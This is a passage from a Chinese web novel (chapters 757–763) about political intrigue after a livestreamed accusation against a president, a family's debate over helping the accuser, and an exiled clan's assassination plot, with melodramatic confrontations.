“当然不是。”沈眠枝看着手里的录音器,耳边忽然响起那句警醒之音: -“哪怕前路万万难,也不要放弃拯救自己于水火!爱一旦变质,舍便舍了。” …… 第757章 你的孩子长大了 云乡。 直播早已结束,周绮珊看着早已落幕的界面,心中思绪万千。 “闹剧都结束了,你要看到什么时候?” 男人叼着一根狗尾巴草,一边慢条斯理整理着脚下的绑带,一边碎碎念,“鲸港的城防什么时候变得这么小儿科了,看来国防局那边有压力咯~” 周绮珊神情微动,单手撑着窗台跳下窗。 “长官,您说这件事怎么这么巧?我们刚刚查到云乡背后撑腰的大人物与总统台有关,余笙就跳出来指认余斯文,是不是他们察觉到了什么?” 路迦瞥了新兵蛋子一眼,有气无力躺在一根废旧钢铁上,“谁知道呢?不过既然余笙指认有境外势力,我们可以沿着这条线继续查,说不定会有意想不到的收获。” 周绮珊眼睛一亮,“这还是您第一次主动提出来要继续查。” 路迦被气笑了,白了她一眼。 不然能怎么样? 每次只要一想起自己堂堂一星守国上将莫名其妙被一个新兵蛋子设计假死,就气得想吐血。不为别的,就因为家里还有个八旬奶奶,他一声招呼没打就“死”了,老太太也不知道能不能受得住? “长官,检察院一定会第一时间调查余笙,如果她的控诉不假,司法很快就会介入,到时候我们可以根据她提供的线索把云乡全部摸查一遍。” “哪有这么简单?”路迦双手枕头,“等着吧,这件事还有的闹。” 周绮珊蹙眉,“您是说,余斯文还有后手?” 路迦偏头看了她一眼,抱膝坐了起来,“人家不是都告诉你了?要思考镜头之外的东西。” 周绮珊看着他,“我思考了,我觉得余笙说的很有道理。” “……”路迦哑然,这是思考了? 周绮珊见他不以为然,态度诚恳,“那长官思考的镜头之外是什么了?” 路迦扶额,算了算了,他好歹是长官,就算只有一个兵也要带好。 他严肃了几分,“假设余笙说的都是事实,那么这件事明显存在许多疑点。” “首先,这是一场有预谋有组织的万万人在线的直播对线,会场调度、余斯文的反应、观众的情绪,所有时机都掌控得恰到好处,余笙有这样的能力,又怎么会被余斯文逼到走投无路?” “其次,不要小看能逃过国首会议安防的绑架案,这是可以暗杀国家元老的级别谋划,余笙不可能有这样的组织能力,她背后一定有高人指点。这场直播,看似是余笙走投无路的反扑,实则是有人在前面引路。” “再则,只要余斯文一天没有认罪,这件事一天就不能轻易下结论,政治博弈手段层出,这件事不排除是余斯文的政敌买通了余笙构陷,真正的祸害还在逍遥法外。” “最后,在真相没有大白时,切记给任何人贴上弱势、或者受害者的标签,因为这会让你本能地偏向受害者,而失去追寻真相的客观。” 周绮珊虽有一腔热血,但她知道自己的那点见识在路迦面前根本不够看,她当即虚心受教,点了点头,“长官,您说的对。既然如此,我们就从余笙背后的策划者查起?” 路迦,“不是我们,是你。至于我,另有安排。” * 与此同时,千里之外的鲸港机场。 广播里再次响起登机提示,苏妙最后回望了一眼鲸港的方向。 这座城市刚刚见证了一场席卷全国的风暴,而风暴的中心,关乎正义与真相。 虽然观看直播耽误了不少时间,但这场直播让她受益颇深,余笙的自述给了她莫大的力量,她忽然意识到自己肩上的责任有多沉重。 A国的司法虽然无数次被国民诟病,但即便是余笙,在走投无路时唯一能相信的也只有司法,她感到热血沸腾,因为她手里正握着能护万万人的伞。 这时,手机屏幕又亮了起来,还是那个熟悉的号码。 苏妙果断挂断,低头整理粉色鸭舌帽,拖着小小的行李箱,汇入登机的人流。 * 苏宅。 苏灼神情低落地走进主厅,“爷爷,我还是晚了一步,飞机已经起飞了。” 见苏敬琉盯着手机没有说话,苏灼勉强笑了笑,“其实也不打紧,那些行李我们可以托运过去,至于您要我转交给她的卡,到时候直接转过去就行。” 苏敬琉还是没有说话。 苏灼担心老爷子因此心寒,上前安慰,“爷爷,妙妙不辞而别一定是有原因的,或者她……” “她没有不辞而别。”苏敬琉看着手机上的文字,眼眶微红。 -【爷爷,我不想嫁人。我的征途是星辰大海,是人间正道。余笙需要我,千千万万个‘余笙’需要我!我要去奔赴我的人生了,祝福我吧,你的孩子长大了。】 …… 第758章 苏韵求情 “哪怕前路万万难,也不要放弃拯救自己于水火!爱一旦变质,舍便舍了。” 苏韵盯着漆黑的屏幕,许久后都没有缓过神。 她怎么都没有想到,三年前她想对全世界说的话,余笙替她说了。 香槟色的蕾丝窗帘轻轻晃动,光线从缝隙中穿过,在墙面投下细密的光网。 苏韵似想到什么,站起身一把拉开窗帘,刺目强光钻入眼球,带来一阵不能直视的炫目。 余笙控诉余斯文这件事还没有结束,检察院一定会介入调查,一旦立案,余笙必然会被送上法庭。 这次的直播牵扯的疑点太多,余斯文为了反击,一定会从策划绑架案这件事下手,余笙将会面临多重罪名指控,她现在无权无势,这场官司未必能占得先机。 人们都说苦难磨炼心智,可苦难太过,会人被逼得面目全非的。 她应该做些什么?而不是躲在阴暗的角落顾影自怜。 苏韵眸光微定,转头往门口走去。可当指尖刚搭上锁柄,她又有些犹豫。 余笙无权无势,那她呢?她就有权有势了吗? 这几年,她为了摆脱过去,一直封闭内心,那些人,虽然表面对她客客气气,但只要一转过身就会利用她的过去无情地嘲讽她。 她们想要结交的是苏家大小姐,不是苏韵。 至于家族。 老爷子之前已经在家族会议上公开表示,苏家所有成员不得参与此次的总统大选。余笙现在就是风口浪尖的靶心,以苏家坐山观虎斗的做派,不到最后一刻一定不会出手。 “叩叩——” 就在她思绪不定时,有人率先敲响了房门。 “阿韵,你在里面吗?”是苏灼的声音。 苏韵暗暗吐了一口浊气,缓缓打开门,“阿灼哥。” “你怎么了?脸色不太好?是不是在担心余小姐?” 苏韵和余笙的关系,苏灼多少还是知道一点,虽然他一直避着余笙,但对于余笙这个人他并不讨厌。 “我没事。阿灼哥有事吗?” 苏灼一眼看出她是在逞强,轻叹了一声,“妙妙走了。” 苏韵愣了愣,“走了?去哪?” “没说,以那丫头的性子一定是想等安顿好了再告诉我们。” 苏韵沉默着没有接话。 以苏家的手段,真要查还能不知道,苏灼这么说,显然老爷子是打算睁一只眼闭一只眼。 每次只要一说起苏妙,苏韵总是习惯性沉默。苏灼犹豫片刻,试探问道,“是你告诉妙妙,爷爷打算让她跟关家联姻的?” 苏韵脸色刷地一下苍白,看向苏灼的眼神里多了一丝说不清的紧张,“我……我只是想……想让她回来跟爷爷好好沟通……我别的什么都没有说,我……我不知道她竟然会一走了之!” “我……” 苏灼见她情绪忽然激动,无奈又叹了一声,“阿韵,你应该相信我们的。” 苏韵点头,“我知道,我是相信的,所以你相信我,我真的真的只是想让她回家跟爷爷说说话,我不知道……” “我说的相信不是这个。”苏灼温柔地打断她,“阿韵,我们是一家人,你偷偷去给妙妙传话,爷爷高兴还来不及,你也应该相信妙妙,她一定也能明白。她走是因为她有不得不走的原因,我来问你,也并不是要责怪你,只是出于关心。” 苏韵怔愣,梗塞在喉间的话忽然一下就消失了。 苏灼笑了笑,想摸摸她的头又想起女孩子长大了,或许不喜欢被冒犯,手腕悬空又折了回来,低着唇边清咳了一声,“我之前一直避着你不是因为讨厌你,是因为我……” 苏韵眼睑微颤,轻声,“我知道,你不喜欢余笙。” 苏灼松了一口气,“你明白就好,好好休息。” “阿灼哥。”苏韵紧紧握拳,鼓起勇气看着他,“爷爷,还在主厅吗?他现在心情是不是很不好?” 苏灼看了她一眼,“你想替余笙求情?” 苏韵有些心虚,从她回到苏家之后,她一直谨记不可以给家里添麻烦,余笙是她这几年来唯一一次逾矩。 苏灼转身,“走吧,我跟你一起去。” 苏韵有些意外,难以置信地看着苏灼,“真的吗?” 苏灼是苏家的接班人,如果他愿意帮忙,会有很大概率说服苏敬琉。 “嗯。走吧。” * 主厅里,苏敬琉捧着手机,对着屏幕里的短信一字一字细读,读到深情处眼含热泪深吸了一口气,“孩子太有主见也不行,损爷爷。” “爷爷。” 听见苏灼的声音,苏敬琉立马把手机甩开,一把抓起桌上的报纸,故作不经意抬眸,“哦,怎么事啊?” 现在网络发达,报纸这种东西早就被淘汰了,但苏敬琉喜欢这种老派调调,家里到处都是时政报刊。 苏韵走上前,小心翼翼试探,“爷爷,您看了直播吗?” 苏敬琉放下报纸,“你是说余家那个小丫头?” 苏韵点头,挨着苏敬琉坐下,“爷爷,您……能不能帮帮阿笙?” 苏敬琉看了苏韵一眼,又抬眸打量一旁的苏灼,思忖片刻,脸色严肃了几分,“阿韵,你想帮朋友的这份心意,爷爷明白。余笙那丫头……有胆色,有决断,甚至可以说,她做了许多人不敢做的事,从个人情感上,爷爷也是欣赏的。” “但……”他话锋一转,语气变得更加沉重:“孩子,你要看清局势。余笙指控的是什么?是现任总统!这背后牵扯的利益集团盘根错节,水深得超乎你的想象。” “这已经不是帮不帮的问题,这是关乎家族兴衰、关乎你父亲乃至所有苏氏成员前程安危的战略抉择。在这种量级的风暴面前,个人的苦难和友情,必须让位,这是名利场的生存法则!所以,阿韵,这件事,苏家不能插手,你,也要学会置身事外。” 他的声音低沉而平稳,带着不容置疑的分量。 苏灼有些不忍,正想帮着开口求情,苏韵忽然站起身,眼神灼灼地看着苏敬琉,“不对!爷爷你说的不对!” 苏敬琉眼帘轻抬,“哪里不对?” 苏韵:“您也说了,她告发的是一国总统,这不是小事,它关乎我们所有国民的民生。她本可以一走了之的,但她没有!她热烈昭告所有人她将以A国公民的身份等候正义,这个时候她已经不是一个‘余笙’,她是‘千千万万’个余笙,一个在穷途陌路依旧选择用司法捍卫自由的人,她能坏到哪里去?” “她相信司法,相信A国,您明明有能力为她的‘相信’主持公道,为什么不呢?爷爷,人在穷途末路的时候真的很容易做错事,您帮帮她吧,您这盏灯照亮的不仅仅是余笙,是无数迷失在穷途末路里的人。” 苏韵的话如金石落地,在大厅里回荡,不仅震动了苏灼,也让苏敬琉那双看淡风云的眼睛里有了一丝灼热的光芒。 …… 第759章 委以重任 S国。 几分钟前还充斥着欢笑和成功的会议室,此刻只剩下咆哮、咒骂、粗重的喘息,以及弥漫在空气中、如同不祥预兆的浓重酒气。一地狼藉,映照着每一张因震惊、愤怒和失败而扭曲的脸孔。 “行了。” 坐在会议室中心的老者轻轻点了点桌面,众人立马噤声,气氛安静得有些诡异。 老者拄着一根麒麟拐杖,慢悠悠从座椅上站了起来,身边的年轻人立马上前搀扶,老者摆了摆手,转身看向众人。 “余斯文这步棋算是废了,你们有空在这闲扯,还不如赶紧回去部署。” 众人相互看了看,双手合十作揖,陆陆续续退了出去。 转眼功夫,座位上的人去了一大半。 老者环顾了一眼,拄着拐杖出了会议厅,其余人也不敢多问,起身跟了出去。 沈年侧身看了沈归灵一眼,动了动脖子,“走啊。” 沈归灵倒也配合,起身跟上人群。 这群人里,有男有女,最年轻的看上去也有四十多了,其中还有个老熟人,沈澈早在进入会议室的第一眼就看见了沈归灵,当时的眼神几乎可以用震惊来形容。 老者径直走向主厅主位,双手撑着拐杖,“坐。” 他不是别人,正是李家当家家主,李儒。李儒年逾七十,比沈庄大两岁,按A国的习俗,他也算是沈庄的大舅子。 众人各找各位,乖乖入座。 李儒神情淡淡,“原本把沈谦拖下水就是为了给余斯文让路,但以现在的情况来看,余斯文是保不住了,没想到算来算去,最后竟然便宜了关家,这事儿,你们怎么看啊?” “爷爷,我看……” “没问你,我问的是沈家诸位。” 李儒身旁的年轻男子刚开口,老人不紧不慢打断。 被点名的诸位神色微变,相互看了看,其中一个中年男人开口道,“云乡那边前脚才传来消息说上面有人在查,余斯文后脚就出了事,这事绝没有那么简单。” 见李儒老神在在闭目养神,男人又道,“在A国能掀起这么大风波的不外乎就是那几位,苏家一贯喜欢置身事外,周家与关家都被我们提防在外,现在唯一剩下的就只有沈家了。” “没错!”其他人也跟着附和,“能在总统卫兵眼皮底下突袭,除了他沈庄,A国谁还有这么大的胆子?这件事一定是沈庄在搞鬼。” 这些群起愤怒的人都是沈家族人,几十年前被沈庄驱赶出了A国,有家不能回,便在暗中集结攀附上了李家。 沈归灵看着眼前一个个张牙舞爪的面孔,眸色不由地沉了下去。 李儒是故意把矛盾往老爷子身上引的,因为如果真是老爷子,他若查到了余斯文犯罪的暗线,极有可能会顺藤摸瓜把沈家所有人一锅端了,以这些人的赌性,决不允许这么危险的事情存在。 李儒缓缓抬眸,眉头微蹙,“如果真是沈庄,只怕我们要有麻烦了。余笙在直播里提到了境外势力,若是沈庄真查到了我们头上,只怕两国矛盾也会因此爆发。女王若是怪罪下来,就算是我也遮盖不过去,至于你们!一个个都会被安上叛国的罪名,别说这辈子还想落叶归根了,就算是S国也待不下去了。” 他的话语像是一滴冷水滴入滚油,瞬间炸开了锅,那些沈家族人的脸色瞬间沉到了谷底,恐惧和愤怒在他们眼中交织。 “都是沈庄!要不是他当初狠心将我们驱逐出境,我们何至于此!” “他眼里早就没有我们这些族亲了,如今还要赶尽杀绝!” “我们不能坐以待毙!必须先下手为强!” 群情激愤中,一个面容阴鸷的中年男人猛地一拍桌子,眼中闪过狠厉之色:“既然他不仁,就休怪我们不义!既然如此……计划必须提前,一定要让他彻底消失!” 计划提前? 沈归灵不动声色地打量说话的男人,这些人已经被长期流放的怨恨和对未来的恐惧冲昏了头脑,完全就是李家的棋子,但他们曾是老爷子最亲密的族人,如果真的痛下杀手,只怕防不胜防。 “稍安勿躁。”李儒手持麒麟拐杖在地上不轻不重地顿了一下,长长叹息了一声,“诸位,冷静!暗杀一国权要,岂是儿戏?此计太过凶险,一旦败露,便是万劫不复之境。沈庄毕竟曾与各位血脉相连,何至于走到这一步?或许……或许还有转圜的余地?” 他这话看似劝阻,实则字字句句都在强调“凶险”、“败露”、“万劫不复”,如同在沸腾的油锅里又添了一勺冷水,让众人的恐慌和决绝燃烧得更加猛烈。 “李老,您就是太仁慈了!沈庄对我们可曾讲过半分血脉情谊?” “他不死,死的就是我们!我们已经没有退路了!” “没错!他必须死!” 李儒沉默了片刻,目光缓缓扫过在场每一张因仇恨和恐惧而扭曲的脸,最终,他像是极其无奈又被迫做出了艰难的决定,沉重地闭上了眼睛,复又睁开转头看向角落里的沈归灵。 “既然如此,阿灵,这件事就交给你了。” 沈归灵,“……” …… 第760章 白切黑,反骨仔沈归灵 随着李儒的点名,在场所有人的视线都聚焦到了角落。 一年前,沈家出了一门双星,沈归灵作为能与沈兰晞齐名的沈家人,自然会得到这些沈家族人的关注。而他出现在策反沈家的大业中,这些人并未像沈澈表现得那么惊讶——毕竟连沈谦的亲生儿子李儒都能被说服,何况是沈归灵这个私生子? 但李儒竟然点名要把这么重要的事交给一个年轻后生,这些人打量沈归灵的眼神不由又多了一分探究。 沈归灵当然不会天真到以为李儒真的相信他。事出反常必有妖,看来这位李家家主图谋不小。 主厅的氛围莫名又变得有些诡异。 等了一会儿,不见沈归灵回应,李儒不觉有些意外,嘴角的笑意渐深,“怎么?你不愿意?” 李儒佛口蛇心,活脱脱一只笑面虎。而那些沈家族人就像盘踞环伺的毒蛇,一听说沈归灵不愿意,眼神瞬间带上了压迫。 沈归灵笑了笑,“没有不愿意。” 他又不傻。这屋里里外外都是杀手,他已经知道了这些人所有的秘密,这个时候敢说个“不”字,下场只有死。 李儒道:“这么说是同意了?” 果然是老狐狸,一点都不含糊。 沈归灵收敛了笑意,“老爷子不如先说说,想让我做什么?沈家戒备森严,连沈执都不能得手。我并非老爷子最信任的人,若是想靠我单杀沈庄,您未免太看得起我了。” “砰——” 不等李儒反应,之前叫嚷最凶的男人拍案惊起,指着沈归灵怒道:“小子,你也不看看你是什么身份?敢这么跟李老说话?” 沈归灵扯着嘴角笑了笑。他本身并不是一个性格特别好的人,只不过当初被调查时,发现沈庄几个孙子性格尖锐,他为了快速融入沈园,才精心给自己打造了一个“梦中情孙”的角色。 但现在不是在沈园,他没什么人要讨好。 他不置一词,随手拿起桌上的水果刀对着男人甩手掷了过去。 这转场来得猝不及防。没等一群人反应过来,男人惨叫一声,捂着鲜血淋漓的右手跌倒在地,血水止都止不住地从指缝间不断渗出。 沈澈看着地上那截断指,惊得下巴都要掉下来了。 从前在沈园,沈归灵可是公认的好脾气,不争不抢、温润谦和,就连老爷子都时常感叹,沈归灵什么都好,就是太好说话。可眼前的年轻人,还有在沈园时的半点影子? 那双漂亮的瑞凤眼微微垂着,长睫在眼下投出一小片淡漠的阴影。他面无表情地看着匍匐在地的男人,虽然什么都没有说,但不知道为什么,沈澈就觉得沈归灵骂得很脏。 “……” 沈澈好像突然明白为什么沈归灵要把自己打磨得如此温润了——他本身的棱角太过尖锐,若是没有温柔润色,他身上那种浑然天成的睥睨感根本压不住,看谁都像在看垃圾。 这才是影帝啊! 黑切白,不但完美隐藏了真正的自己,还顺利骗过了所有人。 现在他总算知道,为什么自己机关算尽,最后还是被赶出了沈园。跟沈归灵比,他的伪装简直就像在裸奔。更让他细思极恐的是,沈归灵刚入沈园的时候,还不到十五岁。 此时沈澈看待沈归灵的眼神已完全不同。李儒可不是善男信女,沈归灵敢在他面前挥刀还安然无恙,是少年无畏还是城府太深?一时还真有些看不明白。 于沈归灵而言,从来没什么少年无畏。他之所以砍了那人的手指,纯粹是觉得他聒噪,顺便再给李儒灌一碗迷魂汤。 虽然他和李儒只有数面之缘,但并不妨碍他摸清这老狐狸的性子。 李儒行事一向谨慎,刺杀沈庄这么重要的决定,怎么可能当着这么多人的面交给他?何况,他一失联就是七年。 虽说沈亦泽已经被灭了口,但以李儒多疑的性格,一定早就怀疑他了。只怕现在老狐狸正在“杀他”和“不杀他”之间权衡。所以刚才那一出,不过是在试探他。 按照常理,他若真的叛变,为了取得李儒的信任,一定会积极响应。但他现在又是质疑又是反击,浑身上下都是反骨仔的戾气——如此,李儒反倒能安心。 果然,李儒脸上丝毫没有动怒的意思,只抬了抬手。一群持枪的黑衣人大步走进主厅。 这时,被吓怔住的众人才缓过神,纷纷站起身喊道:“岂有此理,把他抓起来!” 那断指的男人以为李儒要给自己撑腰,撕心裂肺地吼叫:“杀了他!杀了他!” 不想那群黑衣人一把捂住他的嘴,直接将他拖了出去。 原本还在一旁叫嚣的沈家族人又愣住了,满脸不解地看向李儒。 李儒眼里的笑意淡了几分,一副和事佬的做派:“你们也是,都说了这件事得麻烦阿灵。请人做事,就该有请的态度。” 闻言,一群人脸色晦暗,碍于李儒的势力,不敢搭话。 李儒转头打量沈归灵,缓缓道:“胆识过人。看来,沈家这几年把你养得很好?” “我在哪,都可以把自己养好。”沈归灵这是在提醒李儒:若非当初他自己选择了复仇这条路,他们未必能掌控他。他与沈家还隔着血仇,不可能真正归顺沈家。 “有道理。”李儒笑了笑。 这点他并不怀疑。因为从看见沈归灵的第一眼,他就知道这少年并非池中之物。若非他幼年经历折磨,又恰逢生母被害,沈归灵绝不可能与他们同盟。 凶兽就是凶兽,自有睥睨捕食的能力。这样的人,又怎会因别人施舍一块肉糜就甘愿匍匐? 李儒这才站起身,路过沈归灵时轻轻拍了拍他的肩膀,“跟我来。” 沈家族人跟着站起身,“老爷子,那我们?” 李儒头也不回,摆摆手道:“送客。” “呼——”沈年阴阳怪气地叫了一声,起身撞了撞沈归灵的肩膀,“真可惜,还以为你今天必死无疑~走吧~L……” 沈归灵往后退了一步,面无表情地拍了拍肩膀,“有病就吃药,傻逼。” 沈年:“……” …… 第761章 卖国条款 沈年完全不能接受曾经匍匐在他脚下苟延残喘的野狗敢这么跟他说话,一把揪住沈归灵的衣襟。 “你以为李老放过你,你就能活着回沈园了?我……唔……” 话没说完,沈归灵一把扣住沈年的手腕,抬腿对着他肚子就是一脚。 沈年目眦欲裂,整个人飞出了半米远。 沈归灵笑了笑,走到他跟前又停了下来,那目空一切的眼神虽然什么都没说,但又好像骂尽了千言万语。 “你……” 沈年爬起身,正要反击,李儒转头看了过来,眼神略带警告,“吵什么?都跟我来!” 沈归灵眼皮都没抬,直接绕过沈年。 沈年死死捂着心口。这几年他反反复复用药,身体早就被掏空了,论体能根本不是沈归灵的对手。 但越是这样,他越是不甘心。凭什么沈归灵一个野种能在沈园备受宠爱,而他,却活得不人不鬼、苟延残喘?! 走着瞧。 他深吸了一口气,压下心中的怒火跟了上去。 这次,李儒把两人带进了一间更隐秘的会议室,同行的除了一直跟在身边的年轻人,还有沈澈。 “都坐吧。” 李儒依旧是一派温和的模样,眼神在沈归灵和沈年之间逡巡了一圈,忽然道,“阿灵,你一直在沈园,应该知道阿杰是怎么死的吧?” 提起沈亦杰,沈澈猛地攥紧了拳头,死死盯住沈归灵,仿佛要将他剥皮拆骨,“沈归灵,当时你和阿杰在一个房间,为什么他会出事?是你杀了他?” 会议室内的空气骤然凝固,压抑得让人喘不过气。 沈年也暂时忘却了刚才的羞辱,带着一丝幸灾乐祸的阴冷看向沈归灵。 若说李儒是佛口蛇心的狐狸,沈澈就是伺机而动的毒蛇。在这种高压状态的凝视下,心理素质不好的活不过三秒。 沈归灵并没有立刻回答,偏头细想了一会儿,淡定得不像话,“不是我。” 沈澈眼里的怒火并未平息,“不是?那就是姜花衫?” 沈归灵摇头,“也不是她。” “放屁!”沈澈瞬间被点燃,猛地一拍桌子,霍然起身,“现场只有你们两个人!不是你就是她,亦或是你们两人联手!你别想狡辩!” 相较于沈澈的激动,李儒倒是安静得有些诡异。他并未阻止沈澈问话,显然是要听一个结果。 沈归灵无视了沈澈的暴怒,目光转向李儒,“当时房间里还有另外一个人。” 闻言,李儒微微挑了挑眉,“还有谁?” 沈归灵,“白密。” 这两个字一出,在场四人脸上不同程度地出现了惊讶的表情。 沈澈却还是不信,“你撒谎!你别以为牵扯进不相干的人就可以遮掩自己的罪行……” “继续说。”李儒短暂惊讶后,眼神忽然幽深,沉声打断了沈澈。 沈归灵,“沈亦杰的目标是姜花衫,但他知道单凭自己一个人杀不了姜花衫,所以他来找我,想利用我的身份威胁我和他联盟。我按他的意思把人绑去了夏园,但他头脑一热又想出了嫁祸给白密的馊主意,还偷偷给白密下药。但白密早就防着他,趁他不注意,要了他的命。” 他就不信了,这些人敢去找白密对证。 “……” 这里面真真假假。沈归灵不仅三言两语把沈亦杰塑造成了自寻死路的蠢货形象,还直接把取证的路给截断了。 第762章 虚与委蛇 沈归灵微微皱眉,盯着眼前厚厚一沓合约,丝毫没有接手的意思。 沈年挑起眉梢,“怎么?怕了?” 沈归灵充耳不闻,转头看向一旁的李儒,“把沈家拖下水,然后呢?你们要用这份合约送我进监狱?” 这才是一个符合沈归灵复仇的心态。他若一开始图谋的是玉石俱焚,何苦潜伏沈园三年?沈归灵之所以以身入局,就是想以最小的代价毁了沈谦。 李儒心中最后一丝防备终于完全卸下了,拄着拐杖起身,“放心,既然要坐实你内奸的身份,我自然会给你安排S国的身份。只要你把沈家拉下神坛,S国不会亏待你。到时候我会向女王申请国民保护,A国的法律制裁不了你。” “你一样可以入伍参军。人才嘛,到哪里都会有优待。” 沈归灵,“这么说起来,的确是锦绣前程。” “当然。”李儒一副老好人的模样,“签了吧。只要你乖乖配合,我保证你以后的日子不会比在沈园差。” 沈归灵的目光又落回眼前的合约,正要伸手,忽然想到什么又收了回去。 沈年冷笑道,“沈归灵,话都已经说到这个份上了,再多问一个字可就失礼了。” 沈归灵瞥了他一眼,并未立即回应,转身缓步走向红木书桌,修长的手指随意抽出一张纸巾。 “失礼了。听说脑子有病会传染,我不得不小心点。”说完,他一本正经地用纸巾包裹着指尖,这才接过沈年手中的合约,仿佛上面沾了什么令人作呕的污秽。 沈年嘴角的笑容瞬间僵硬,强忍着上前揍人的冲动。 李儒并不在意这点小打小闹,一瞬不瞬地盯着沈归灵的动作。 沈归灵随手拿起桌上的钢笔,旋出笔帽,正要落笔,忽然想到什么,翻回第一页认真审视起了合同。 沈澈也忍不下去了,皱眉,“你磨蹭什么?” 沈归灵眼皮都没抬,一目十行地扫视着条款,一边回答,“这可是我的卖身契,自然要仔细一点。万一你们以后不管我,我也知道怎么替自己辩护。” “……”沈澈看向李儒,见他什么都没说,一脸晦气地撇过头。 密室里安静至极,只有书页被翻动的细微摩挲声。 “铃——” 就在这时,房间里忽然响起刺耳的电话铃声。 李儒身边的年轻人看了沈归灵一眼,见他丝毫不受影响、眼里只有合约,这才放心地绕过沙发接通了电话。 电话那边不知说了什么,年轻人脸色微变,捂着听筒转身看向李儒。 “老爷子,白密带人闯进来了。” 白密?! 闻言,其他三人都愣住了。 李儒算是里面最淡定的,“他这个时候不是应该在参加围猎?跑这来做什么?” 年轻人摇头,“管家说他不仅带了人,还带了枪,指名道姓要见沈年,看样子是来者不善!” “白密要见我?”沈年挑了挑眉,他跟这位白密殿下可从未有过交集。 李儒看了沈归灵一眼,斟酌片刻,淡淡道,“你先出去拖住他。” “……” 沈年差点被气笑了,出去是拖住?没听说对方来者不善吗?但这里毕竟是李儒的地盘,就算他心有不满也只能暂时忍耐。 他回头看了沈归灵一眼,冷哼了一声,出了密室。 李儒此时的耐心已经告罄。如果让白密发现他在密谋此事,只怕对以后的计划会有影响。念此,他看向沈归灵的眼神多了一抹深沉,“看完了?” 沈归灵看得很快,三十秒就能看完一页密密麻麻的文字,五分钟不到就看完了两百多条条款。他点头,重新拿起钢笔,笔尖落在签名处,十分流畅地写下了自己的名字。 李儒原本还以为他要耍花招,但见他落笔这么爽快,立马又松了一口气。 “久等了。” 沈归灵将签好名的文件递给李儒。李儒扫了一眼签名,确认无误后正打算接手,这时电话铃声又响了起来。与此同时,沈归灵忽然想到什么,又收回了合约,对着签名处的墨迹吹了几口气。 年轻人接通电话,停顿几秒,表情极其尴尬,“爷爷,白密把沈少爷踹进泳池了,他现在要见您。” 李儒因此被分心,怒道,“混账东西!就是他母亲来了也不敢在李家这么撒野,他凭什么?” “好了。”沈归灵合上文件,随手将合约扔在书桌上。 年轻人听着电话里的叫嚣,脸色极其难看,“爷爷,白密在主厅叫嚣,骂得很难听。” 李儒天生多疑,此刻不免多想。 李家是S王朝初期就存在的世袭贵族,也是唯一能与白家王室抗衡的老牌贵族。当初若非先祖缺点运气,这王座现在就该姓李。女王已经年迈,为了巩固白家政权,这几年扶持了不少新兴豪族。白密这个时候敢跑到他的地盘叫嚣撒野,难道是长公主在背后撑腰? “你们几个都先出去。” 年轻人立马挂了电话,带着沈澈和沈归灵出了密室。掩上房门时,沈归灵状似无意地往门缝后瞥了一眼,见李儒拿起合约往书柜方向去了,才若无其事地跟上沈澈的步伐。 沈澈看着身旁俊美得极具攻击性的沈归灵,神情复杂,“真的是白密杀了阿泽?” 沈归灵神色淡淡,“沈亦泽当时并未暴露。若是我和姜花衫其中一人动手,你觉得以老爷子的心性,我们还能好好的吗?” 沈澈原本还有几分猜忌,听了这话,心中的疑虑顷刻烟消云散。 即便他不认可沈庄的所作所为,但有一点他深信不疑,或者说,沈园长大的每一个人都深信不疑。 ——那就是,老爷子绝不会姑息任何一个谋害手足的沈家人。 他就是最好的例子。 * 李儒的庄园是一座经由时间与权力浇筑而成的灰色堡垒,高耸的白色围墙与茂密的绿植将其与外界彻底隔绝。唯一的入口是一扇毫不起眼的黑檀木门,门前二十四小时伫立着神情冷峻、耳麦低语的便衣保镖。 此时,象征高不可攀的黑檀木门在微风中摇摇摆摆,地上横七竖八躺着一众呻吟的保镖。 豪华禅意的主厅里,沈年奄奄一息地趴在千金难求的虎皮地毯上。 白密半蹲在冰凉的意大利灰色大理石上,一瞬不瞬地看着地上的断指,陷入了深思。 这玩意这么丑,应该不是沈归灵的吧? …… 第763章 兄控,白密 李儒由着众人搀扶,匆匆赶到主厅时,第一眼看见的就是这一幕。 “白……” 不等他问罪,那边的祖宗转过脸,杀气腾腾地指着地上的断指,“谁的?” “……” 这是发什么疯? 饶是李儒这般老谋深算,也猜不透这里面的弯弯绕绕。但以他的身份,自然不可能被一个年轻人牵着鼻子走。李儒佯装没有看见厅堂里人仰马翻的惨状,淡淡道,“殿下不请自来,又大动干戈,不知我李家是哪里得罪您了?” 白密冷笑一声,站起身,慢慢逼近李儒,“老东西,你耳聋了?我问你,那根断指是谁的?” 李儒微微眯眼,扬起头打量白密,“殿下,虽然我已经退出了枢密院,但为S国做出的贡……献……” 话没说完,白密抬手,直接一巴掌把李儒扇飞了。 “贡献?”他笑了笑,眉眼戾气横生。 在S国,还有人敢跟白冕亲王比贡献吗?这根手指要是他那命运多舛的王兄的,李家全族死干净都不足以赎罪。 “!!!”李儒苍老的身体重重撞在地上。 在S国,除了王室就是李家。李家经过百余年的经营,其财富和根系已深入国家肌理,成为“新封建”门阀的代表。家族通过无数联姻,与众多传统贵族、军方高层、大商人家族结成盘根错节的利益同盟。 而李儒不仅是枢密院前任重要成员,还是李氏家族的现任族长。他年事已高,于政途上算是功成身退,就连女王见了都礼遇有加。这样一位‘德高望重’的老功臣,竟然被一巴掌扇飞了?! 厅堂里的人瞬间慌了神,管家更是吓出了鹅叫。雇佣保镖此时也顾不得什么王室威严,纷纷从各个角落钻出,器械上膛的声音此起彼伏,转眼间,白密面前就架起了无数枪械。 沈年原本还恼怒于白密无脑,眼看李儒都飞了出去,整个人都懵了。 这里最难以置信的还是李儒,他活了七十年,从未受过如此奇耻大辱。 白密自小在枪林弹雨中长大,经历的暗杀无数,最不怕的就是明刀明枪的对峙。 他甩了甩发麻的手心,掏出别在腰间的手枪,有恃无恐地指着李儒,“想杀我?来啊?我倒要看看你们李家人是不是真这么有本事,伤了王室还能毫发无伤。” 气氛剑拔弩张,却维持着诡异的寂静。 “都把枪放下。”李儒的声音沙哑,却带着不容置疑的威严,“对着王室动武,你们是想让李家百年基业毁于一旦,背上叛国的罪名吗?” 保镖们面面相觑,迟疑片刻,枪口微微下垂了几分。 白密早就料到是这样的结果,一脸得意地收回枪,指了指地上的手指,“谁的?” 这小疯子为什么会这么在意一根断指? 李儒脸色阴沉,“这是我李家的家事,不劳殿下挂心。” 李家? 这么说不是沈归灵? 白密脸上的戾气褪了不少,回头看向趴在地上的沈年,“这家伙不是沈家人吗?瞧着跟李家关系不错?” 李儒面不改色,“殿下怕不是忘了,李家和沈家是联姻,我不过略尽地主之谊。怎么?他惹到你了?” 白密,“不算。听说沈归灵来了?” 